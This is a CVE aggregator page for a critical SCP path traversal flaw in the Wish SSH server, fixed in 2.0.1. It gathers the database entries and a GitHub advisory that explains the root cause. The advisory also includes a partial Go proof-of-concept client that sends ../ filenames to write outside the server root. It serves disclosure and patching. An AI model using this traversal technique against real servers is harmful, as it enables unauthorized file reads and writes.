CVE-2026-41589
Wish has SCP Path Traversal that allows arbitrary file read/write
Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.6
Wish has SCP Path Traversal that allows arbitrary file read/write
Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.
- Record
CVE-2026-41589- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-28370
9.6
Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.
- Record
EUVD-2026-28370- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xjvp-7243-rg9h
9.6
Wish has SCP Path Traversal that allows arbitrary file read/write
Summary
The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.
Affected Versions
charm.land/wish/v2— all versions through commit72d67e6(currentmain)github.com/charmbracelet/wish— likely all v1 versions (same code pattern)
Details
Root Cause
The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:
func (h *fileSystemHandler) prefixed(path string) string {
path = filepath.Clean(path)
if strings.HasPrefix(path, h.root) {
return path
}
return filepath.Join(h.root, path)
}
When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.
Attack Vector 1: Arbitrary File Write (scp -t)
When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:
reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)
The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.
Attack Vector 2: Arbitrary File Read (scp -f)
When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.
Attack Vector 3: File Enumeration via Glob
The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.
Proof of Concept
All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.
Vulnerable Server
Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:
package main
import (
"net"
"charm.land/wish/v2"
"charm.land/wish/v2/scp"
"github.com/charmbracelet/ssh"
)
func main() {
handler := scp.NewFileSystemHandler("/srv/data")
s, _ := wish.NewServer(
wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
wish.WithMiddleware(scp.Middleware(handler, handler)),
// Default: accepts all connections (no auth configured)
)
s.ListenAndServe()
}
Write Traversal — Write arbitrary files outside /srv/data
An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:
package main
import (
"fmt"
"os"
gossh "golang.org/x/crypto/ssh"
)
func main() {
config := &gossh.ClientConfig{
User: "attacker",
Auth: []gossh.AuthMethod{gossh.Password("anything")},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
client, _ := gossh.Dial("tcp", "target:2222", config)
session, _ := client.NewSession()
// Pipe crafted SCP protocol data into stdin
stdin, _ := session.StdinPipe()
go func() {
// Wait for server's NULL ack, then send traversal payload
buf :=…
- Record
GHSA-xjvp-7243-rg9h- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
9.6
Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.
- Record
CVE-2026-41589- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
9.6
Wish has SCP Path Traversal that allows arbitrary file read/write
Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.
- Record
CVE-2026-41589- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-xjvp-7243-rg9h
9.6
Wish has SCP Path Traversal that allows arbitrary file read/write
Summary
The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.
Affected Versions
charm.land/wish/v2— all versions through commit72d67e6(currentmain)github.com/charmbracelet/wish— likely all v1 versions (same code pattern)
Details
Root Cause
The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:
func (h *fileSystemHandler) prefixed(path string) string {
path = filepath.Clean(path)
if strings.HasPrefix(path, h.root) {
return path
}
return filepath.Join(h.root, path)
}
When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.
Attack Vector 1: Arbitrary File Write (scp -t)
When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:
reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)
The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.
Attack Vector 2: Arbitrary File Read (scp -f)
When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.
Attack Vector 3: File Enumeration via Glob
The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.
Proof of Concept
All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.
Vulnerable Server
Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:
package main
import (
"net"
"charm.land/wish/v2"
"charm.land/wish/v2/scp"
"github.com/charmbracelet/ssh"
)
func main() {
handler := scp.NewFileSystemHandler("/srv/data")
s, _ := wish.NewServer(
wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
wish.WithMiddleware(scp.Middleware(handler, handler)),
// Default: accepts all connections (no auth configured)
)
s.ListenAndServe()
}
Write Traversal — Write arbitrary files outside /srv/data
An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:
package main
import (
"fmt"
"os"
gossh "golang.org/x/crypto/ssh"
)
func main() {
config := &gossh.ClientConfig{
User: "attacker",
Auth: []gossh.AuthMethod{gossh.Password("anything")},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
client, _ := gossh.Dial("tcp", "target:2222", config)
session, _ := client.NewSession()
// Pipe crafted SCP protocol data into stdin
stdin, _ := session.StdinPipe()
go func() {
// Wait for server's NULL ack, then send traversal payload
buf :=…
- Record
GHSA-xjvp-7243-rg9h- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGO-2026-5762 No score
Wish has SCP Path Traversal that allows arbitrary file read/write in charm.land/wish
Wish has SCP Path Traversal that allows arbitrary file read/write in charm.land/wish
- Record
GO-2026-5762- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
- GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
- GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
- GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
- GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
- GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
- GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
- GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
- GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
- GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
- GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
- GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
- GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
- GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
- GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
- GO-2026-5933 GHSA-3g4q-2f67-2gvh
- GO-2026-5934 GHSA-59qp-cfj3-rp64
- GO-2026-5935 GHSA-7856-g3gv-9wq8
- GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
- GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
- GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
- GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
- GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
- GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
- GO-2026-5942 CVE-2026-46600
- GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
- GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
- GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
- GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
- GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
- GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
- GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
- GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
- GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
- GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
- GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
- GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
- GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
- GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
- GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
- GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
- GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
- GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
- GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
- GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
- GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
- GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
- GO-2026-5969 GHSA-g936-7jqj-mwv8
- GO-2026-5970 CVE-2026-56852
- GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
- GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
- GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
- GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
- GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
- GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
- GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
- GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
- GO-2026-5981 GHSA-mqxv-9rm6-w8qc
- GO-2026-5982 GHSA-pqg7-v6wh-3pfp
- GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
- GO-2026-5985 GHSA-7rx3-5wx3-5v76
- GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
- GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
- GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
- GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
- GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
- GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
- GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
- GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
- GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
- GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
- GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
- GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
- GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
- GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
- GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
- GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
- Record
openSUSE-SU-2026:21483-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
charm.land/wish/v2Go |
before 2.0.1 | 2.0.1 |
github.com/charmbracelet/wishGo |
through 1.4.7 | None known |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 1734 CVEs |
before 0.0.20260723T184607-160000.1.1 | 0.0.20260723T184607-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41589 is a critical vulnerability (CVSS 9.6) in Charm Wish, published April 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in charm.land/wish/v2 2.0.1.
References
github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h
github.com/charmbracelet/wish/releases/tag/v2.0.1
nvd.nist.gov/vuln/detail/CVE-2026-41589
github.com/advisories/GHSA-xjvp-7243-rg9h
github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41589.json
github.com/charmbracelet/wish
Show 194 moreShow less
suse.com/security/cve/CVE-2016-11063
suse.com/security/cve/CVE-2016-11066
suse.com/security/cve/CVE-2016-11067
suse.com/security/cve/CVE-2016-11068
suse.com/security/cve/CVE-2016-11069
suse.com/security/cve/CVE-2016-11070
suse.com/security/cve/CVE-2016-11071
suse.com/security/cve/CVE-2016-11072
suse.com/security/cve/CVE-2016-11073
suse.com/security/cve/CVE-2016-11074
suse.com/security/cve/CVE-2016-11075
suse.com/security/cve/CVE-2016-11076
suse.com/security/cve/CVE-2016-11077
suse.com/security/cve/CVE-2016-11078
suse.com/security/cve/CVE-2016-11079
suse.com/security/cve/CVE-2016-11080
suse.com/security/cve/CVE-2016-11081
suse.com/security/cve/CVE-2016-11082
suse.com/security/cve/CVE-2016-11083
suse.com/security/cve/CVE-2016-11084
suse.com/security/cve/CVE-2017-18870
suse.com/security/cve/CVE-2017-18871
suse.com/security/cve/CVE-2017-18872
suse.com/security/cve/CVE-2017-18873
suse.com/security/cve/CVE-2017-18874
suse.com/security/cve/CVE-2017-18875
suse.com/security/cve/CVE-2017-18876
suse.com/security/cve/CVE-2017-18877
suse.com/security/cve/CVE-2017-18878
suse.com/security/cve/CVE-2017-18879
suse.com/security/cve/CVE-2017-18883
suse.com/security/cve/CVE-2017-18884
suse.com/security/cve/CVE-2017-18885
suse.com/security/cve/CVE-2017-18886
suse.com/security/cve/CVE-2017-18887
suse.com/security/cve/CVE-2017-18888
suse.com/security/cve/CVE-2017-18889
suse.com/security/cve/CVE-2017-18890
suse.com/security/cve/CVE-2017-18891
suse.com/security/cve/CVE-2017-18892
suse.com/security/cve/CVE-2017-18893
suse.com/security/cve/CVE-2017-18894
suse.com/security/cve/CVE-2017-18895
suse.com/security/cve/CVE-2017-18896
suse.com/security/cve/CVE-2017-18897
suse.com/security/cve/CVE-2017-18898
suse.com/security/cve/CVE-2017-18900
suse.com/security/cve/CVE-2017-18901
suse.com/security/cve/CVE-2017-18902
suse.com/security/cve/CVE-2017-18903
suse.com/security/cve/CVE-2017-18904
suse.com/security/cve/CVE-2017-18905
suse.com/security/cve/CVE-2017-18906
suse.com/security/cve/CVE-2017-18907
suse.com/security/cve/CVE-2017-18908
suse.com/security/cve/CVE-2017-18909
suse.com/security/cve/CVE-2017-18911
suse.com/security/cve/CVE-2017-18912
suse.com/security/cve/CVE-2017-18915
suse.com/security/cve/CVE-2017-18916
suse.com/security/cve/CVE-2017-18917
suse.com/security/cve/CVE-2017-18918
suse.com/security/cve/CVE-2018-21258
suse.com/security/cve/CVE-2019-8400
suse.com/security/cve/CVE-2021-25320
suse.com/security/cve/CVE-2022-45786
suse.com/security/cve/CVE-2023-26154
suse.com/security/cve/CVE-2023-32199
suse.com/security/cve/CVE-2023-34620
suse.com/security/cve/CVE-2023-43630
suse.com/security/cve/CVE-2023-43631
suse.com/security/cve/CVE-2023-43632
suse.com/security/cve/CVE-2023-43633
suse.com/security/cve/CVE-2023-43634
suse.com/security/cve/CVE-2023-43635
suse.com/security/cve/CVE-2023-43636
suse.com/security/cve/CVE-2023-43637
suse.com/security/cve/CVE-2023-47108
suse.com/security/cve/CVE-2024-12886
suse.com/security/cve/CVE-2024-21635
suse.com/security/cve/CVE-2024-25621
suse.com/security/cve/CVE-2024-41260
suse.com/security/cve/CVE-2024-41265
suse.com/security/cve/CVE-2024-44905
suse.com/security/cve/CVE-2024-52284
suse.com/security/cve/CVE-2024-53412
suse.com/security/cve/CVE-2024-58259
suse.com/security/cve/CVE-2024-58260
suse.com/security/cve/CVE-2024-58267
suse.com/security/cve/CVE-2024-58269
suse.com/security/cve/CVE-2024-6717
suse.com/security/cve/CVE-2025-0426
suse.com/security/cve/CVE-2025-10543
suse.com/security/cve/CVE-2025-10545
suse.com/security/cve/CVE-2025-10630
suse.com/security/cve/CVE-2025-10678
suse.com/security/cve/CVE-2025-10954
suse.com/security/cve/CVE-2025-11374
suse.com/security/cve/CVE-2025-11375
suse.com/security/cve/CVE-2025-11393
suse.com/security/cve/CVE-2025-11579
suse.com/security/cve/CVE-2025-11621
suse.com/security/cve/CVE-2025-11776
suse.com/security/cve/CVE-2025-11777
suse.com/security/cve/CVE-2025-11794
suse.com/security/cve/CVE-2025-12044
suse.com/security/cve/CVE-2025-12419
suse.com/security/cve/CVE-2025-12421
suse.com/security/cve/CVE-2025-12559
suse.com/security/cve/CVE-2025-12689
suse.com/security/cve/CVE-2025-12756
suse.com/security/cve/CVE-2025-13281
suse.com/security/cve/CVE-2025-13324
suse.com/security/cve/CVE-2025-13352
suse.com/security/cve/CVE-2025-13353
suse.com/security/cve/CVE-2025-13357
suse.com/security/cve/CVE-2025-13425
suse.com/security/cve/CVE-2025-13523
suse.com/security/cve/CVE-2025-13767
suse.com/security/cve/CVE-2025-13821
suse.com/security/cve/CVE-2025-13870
suse.com/security/cve/CVE-2025-13888
suse.com/security/cve/CVE-2025-14273
suse.com/security/cve/CVE-2025-14350
suse.com/security/cve/CVE-2025-14435
suse.com/security/cve/CVE-2025-14443
suse.com/security/cve/CVE-2025-14525
suse.com/security/cve/CVE-2025-14573
suse.com/security/cve/CVE-2025-14764
suse.com/security/cve/CVE-2025-14822
suse.com/security/cve/CVE-2025-14986
suse.com/security/cve/CVE-2025-14987
suse.com/security/cve/CVE-2025-15107
suse.com/security/cve/CVE-2025-15558
suse.com/security/cve/CVE-2025-21613
suse.com/security/cve/CVE-2025-22870
suse.com/security/cve/CVE-2025-22873
suse.com/security/cve/CVE-2025-23266
suse.com/security/cve/CVE-2025-23267
suse.com/security/cve/CVE-2025-26625
suse.com/security/cve/CVE-2025-27093
suse.com/security/cve/CVE-2025-2786
suse.com/security/cve/CVE-2025-2842
suse.com/security/cve/CVE-2025-2843
suse.com/security/cve/CVE-2025-31133
suse.com/security/cve/CVE-2025-34410
suse.com/security/cve/CVE-2025-34429
suse.com/security/cve/CVE-2025-34430
suse.com/security/cve/CVE-2025-41115
suse.com/security/cve/CVE-2025-41117
suse.com/security/cve/CVE-2025-41118
suse.com/security/cve/CVE-2025-41410
suse.com/security/cve/CVE-2025-41436
suse.com/security/cve/CVE-2025-41443
suse.com/security/cve/CVE-2025-44001
suse.com/security/cve/CVE-2025-44004
suse.com/security/cve/CVE-2025-44005
suse.com/security/cve/CVE-2025-47906
suse.com/security/cve/CVE-2025-47910
suse.com/security/cve/CVE-2025-47911
suse.com/security/cve/CVE-2025-47912
suse.com/security/cve/CVE-2025-47913
suse.com/security/cve/CVE-2025-47914
suse.com/security/cve/CVE-2025-48731
suse.com/security/cve/CVE-2025-49221
suse.com/security/cve/CVE-2025-4953
suse.com/security/cve/CVE-2025-50180
suse.com/security/cve/CVE-2025-50946
suse.com/security/cve/CVE-2025-51667
suse.com/security/cve/CVE-2025-5187
suse.com/security/cve/CVE-2025-52490
suse.com/security/cve/CVE-2025-52565
suse.com/security/cve/CVE-2025-52881
suse.com/security/cve/CVE-2025-52894
suse.com/security/cve/CVE-2025-52931
suse.com/security/cve/CVE-2025-53514
suse.com/security/cve/CVE-2025-53857
suse.com/security/cve/CVE-2025-53884
suse.com/security/cve/CVE-2025-53910
suse.com/security/cve/CVE-2025-54123
suse.com/security/cve/CVE-2025-54286
suse.com/security/cve/CVE-2025-54287
suse.com/security/cve/CVE-2025-54288
suse.com/security/cve/CVE-2025-54289
suse.com/security/cve/CVE-2025-54290
suse.com/security/cve/CVE-2025-54291
suse.com/security/cve/CVE-2025-54293
suse.com/security/cve/CVE-2025-54376
suse.com/security/cve/CVE-2025-54410
suse.com/security/cve/CVE-2025-54458
suse.com/security/cve/CVE-2025-54463
suse.com/security/cve/CVE-2025-54467
suse.com/security/cve/CVE-2025-54468
suse.com/security/cve/CVE-2025-54469
Left out here: 1,540 references and the rest of 3 source descriptions. The JSON record has them.